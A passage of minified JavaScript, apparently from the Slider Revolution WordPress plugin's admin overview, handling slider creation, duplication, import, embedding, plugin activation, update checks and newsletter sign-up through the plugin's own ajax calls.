r=e.slide_id;RVS.F.ajaxRequest("save_slider_folder",{id:sliderLibrary.selectedFolder,children:sliderLibrary.sliders[i].children},function(e){window.location.href=RVS.ENV.admin_url+"&view=slide&id="+r})}else window.location.href=RVS.ENV.admin_url+"&view=slide&id="+e.slide_id}})}),RVS.DOC.on("highContrast",function(e,i){void 0!==i&&void 0!==i.val&&(!0===i.val?jQuery(document.body).addClass("rs-high-contrast"):jQuery(document.body).removeClass("rs-high-contrast"))}),RVS.DOC.on("addNewSlider",function(e,i){if(void 0!==i&&void 0!==i.slider){if(i.slider.parent=sliderLibrary.selectedFolder,sliderLibrary.sliders.push(i.slider),-1!==sliderLibrary.selectedFolder){var r=RVS.F.getOVSliderIndex(sliderLibrary.selectedFolder);-1!==r&&(sliderLibrary.sliders[r].children.push(i.slider.id),i.ignoreAjaxFolderMove||RVS.F.ajaxRequest("save_slider_folder",{id:sliderLibrary.selectedFolder,children:sliderLibrary.sliders[r].children},function(e){},i.silent))}sliderLibrary.filters=buildModuleFilters(),resetAllOVFilters(),jQuery("#pagination_select_2").ddTP("change")}}),RVS.DOC.on("addDraftPage",function(e,i){RVS.F.ajaxRequest("create_draft_page",{slider_ids:i.pages,modals:i.modals,additions:i.additions},function(e){e.success&&(window.visitURLCreatedPage=e.open,setTimeout(function(){RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"fiber_new",title:RVS_LANG.blank_page_added,maintext:RVS_LANG.blank_page_created,subtext:void 0!==e.edit&&e.edit.length>0?RVS_LANG.edit_page+': <a class="blankpagelink" href="'+e.edit+'" target="_blank" rel="noopener">'+e.edit+"</a>":"",do:{icon:"exit_to_app",text:RVS_LANG.visit_page,event:"visitcreatedpage"},cancel:{icon:"cancel",text:RVS_LANG.closeandstay},swapbuttons:!0})},200))})}),RVS.DOC.on("visitcreatedpage",function(){window.open(window.visitURLCreatedPage,"_blank")}),RVS.DOC.on("click","#new_slider_import",function(){jQuery("#filedrop").remove(),RVS.F.browserDroppable.init({success:"addNewSlider"})}),RVS.DOC.on("click",".duplicateslider",function(){var e=RVS.F.getOVSliderIndex(this.dataset.id),i=-1==e?-1:sliderLibrary.sliders[e].parent,r=RVS.F.getOVSliderIndex(i);RVS.F.ajaxRequest("duplicate_slider",{id:this.dataset.id},function(e){e.success&&(e.slider.parent=i,sliderLibrary.sliders.push(e.slider),-1!==r&&(sliderLibrary.sliders[r].children.push(e.slider.id),RVS.F.ajaxRequest("save_slider_folder",{id:i,children:sliderLibrary.sliders[r].children},function(e){})),sliderLibrary.filters=buildModuleFilters(),resetAllOVFilters())})}),RVS.DOC.on("dragstart dragend",function(e){"dragstart"===e.type&&(RVS.S.dragginginside=!0),"dragend"===e.type&&(RVS.S.dragginginside=!1)}),jQuery("#rs_overview").on(" dragover dragenter ",function(e){RVS.S.dragginginside||0!==jQuery("#filedrop").length||RVS.F.browserDroppable.init({success:"addNewSlider"})}),RVS.DOC.on("click","#activateplugin",function(){if("true"==RVS.ENV.activated||1==RVS.ENV.activated)RVS.F.ajaxRequest("deactivate_plugin",{},function(e){e.success&&(RVS.ENV.activated=!1,RVS.ENV.code="",RVS.F.updateDraw(),RVS.F.isActivated(),RVS.F.notifications(),r("close"),RVS.F.showDeactivatedWarning(),RVS.F.activeNotActive())});else{var e=jQuery("#purchasekey").val();RVS.F.ajaxRequest("activate_plugin",{code:e},function(i){i.success&&(RVS.ENV.activated=!0,RVS.ENV.code=e,RVS.F.updateDraw(),RVS.F.isActivated(),RVS.F.notifications(),r("show"),RVS.F.activeNotActive())})}}),RVS.F.activeNotActive=function(){RVS.C.existing_sliders=void 0===RVS.C.existing_sliders?document.getElementById("existing_sliders"):RVS.C.existing_sliders,RVS.ENV.activated?RVS.C.existing_sliders.classList.remove("rs_n_ac_n"):RVS.C.existing_sliders.classList.add("rs_n_ac_n")},RVS.DOC.on("click","#check_for_updates",function(){RVS.F.ajaxRequest("check_for_updates",{},function(e){e.success&&(RVS.ENV.latest_version=e.version,jQuery(".available_latest_version").html(RVS.ENV.latest_version),RVS.F.updateDraw(),RVS.F.isActivated())})}),RVS.DOC.on("click",".previewslider",function(){var e=sliderLibrary.sliders[RVS.F.getOVSliderIndex(this.dataset.id)];RVS.F.openPreivew({title:this.dataset.title,alias:e.alias,id:this.dataset.id}),d({keepOverlay:!1}),window.lastBreacCrumbText="",jQuery("#rsl_bread_selected").html(window.lastBreacCrumbText)}),RVS.DOC.on("click","#signuptonewsletter",function(){var e=jQuery("#newsletter_mail").val();e.length>0&&e.indexOf("@")>=0&&RVS.F.ajaxRequest("subscribe_to_newsletter",{email:e},function(e){})}),RVS.DOC.on("click","#check_for_themepunchserver",function(){RVS.F.ajaxRequest("check_system",{},function(e){e.success&&(window.rs_system=jQuery.extend(!0,{},e.system),updateSysChecks())})}),RVS.DOC.on("click",".embedslider",function(){var e=sliderLibrary.sliders[RVS.F.getOVSliderIndex(this.dataset.id)],i='<i class="material-icons fullpage_main_icon">playlist_add</i>';i+='<div class="fullpage_title">'+RVS_LANG.embedingLine1+"</div>",i+='<div class="fullpage_content">'+RVS_LANG.embedingLine2+"</div>",i+='<div class="inputrow">',i+="<input class='inputtocopy' id='embed_shortcode_a' readonly value='[rev_slider alias=\""+e.alias+"\"][/rev_slider]'/>",i+='<div class="basic_action_button onlyicon copyshortcode" data-clipboard-action="copy" data-clipboard-target="#embed_shortcode_a"><i class="material-icons">content_copy</i></div>',i+="</div>",i+='<div class="div20"></div>',i+='<div class="fullpage_content">'+RVS_LANG.embedingLine2a+"</div>",i+='<div class="inputrow">',i+="<input class='inputtocopy' id='embed_shortcode_modal' readonly value='[rev_slider usage=\"modal\"  alias=\""+e.alias+"\"][/rev_slider]'/>",i+='<div class="basic_action_button onlyicon copyshortcode" data-clipboard-action="copy" data-clipboard-target="#embed_shortcode_modal"><i class="material-icons">content_copy</i></div>',i+="</div>",i+='<div class="div20"></div>',i+='<div class="fullpage_content">'+RVS_LANG.embedingLine3+"</div>",i+='<div class="div40"></div>',i+='<div class="fullpage_title">'+RVS_LANG.embedingLine4+"</div>",i+='<div class="fullpage_content">'+RVS_LANG.embedingLine5+"</div>",i+='<div class="inputrow">',i+='<input class="inputtocopy" readonly id="embed_shortcode_b" value="<?php add_revslider(\''+e.alias+"'); ?>\">",i+='<div class="basic_action_button onlyicon copyshortcode" data-clipboard-action="copy" data-clipboard-target="#embed_shortcode_b"><i class="material-icons">content_copy</i></div>',i+="</div>",i+='<div class="div15"></div>',i+='<div class="fullpage_content">'+RVS_LANG.embedingLine6+"</div>",i+='<div class="inputrow">',i+='<input class="inputtocopy" readonly id="embed_shortcode_c" value="<?php add_revslider(\''+e.alias+"','homepage'); ?>\">",i+='<div class="basic_action_button onlyicon copyshortcode" data-clipboard-action="copy" data-clipboard-target="#embed_shortcode_c"><i class="material-icons">content_copy</i></div>',i+="</div>",i+='<div class="div15"></div>',i+='<div class="fullpage_content">'+RVS_LANG.embedingLine7+"</div>",i+='<div class="inputrow">',i+='<input class="inputtocopy" readonly id="embed_shortcode_d" value="<?php add_revslider(\''+e.alias+"','2,10'); ?>\">",i+='<div class="basic_action_button onlyicon copyshortcode" data-clipboard-action="copy" data-clipboard-target="#embed_shortcode_d"><i class="material-icons">content_copy</i></div>',i+="</div>",RVS.F.fullPageInfo.init({content:i}),RVS.F.initCopyClipboard(".copyshortcode"),d({keepOverlay:!1}),window.lastBreacCrumbText="",jQuery("#rsl_bread_selected").html(window.lastBreacCrumbText)}),RVS.DOC.on("click","#new_slider_from_template",function(){RVS.ENV.newTemplatesCounter.style.display="none",RVS.F.openObjectLibrary({types:["moduletemplates"],filter:"all",selected:["moduletemplates"],success:{slider:"addNewSlider",draftpage:"addDraftPage"}})})}}();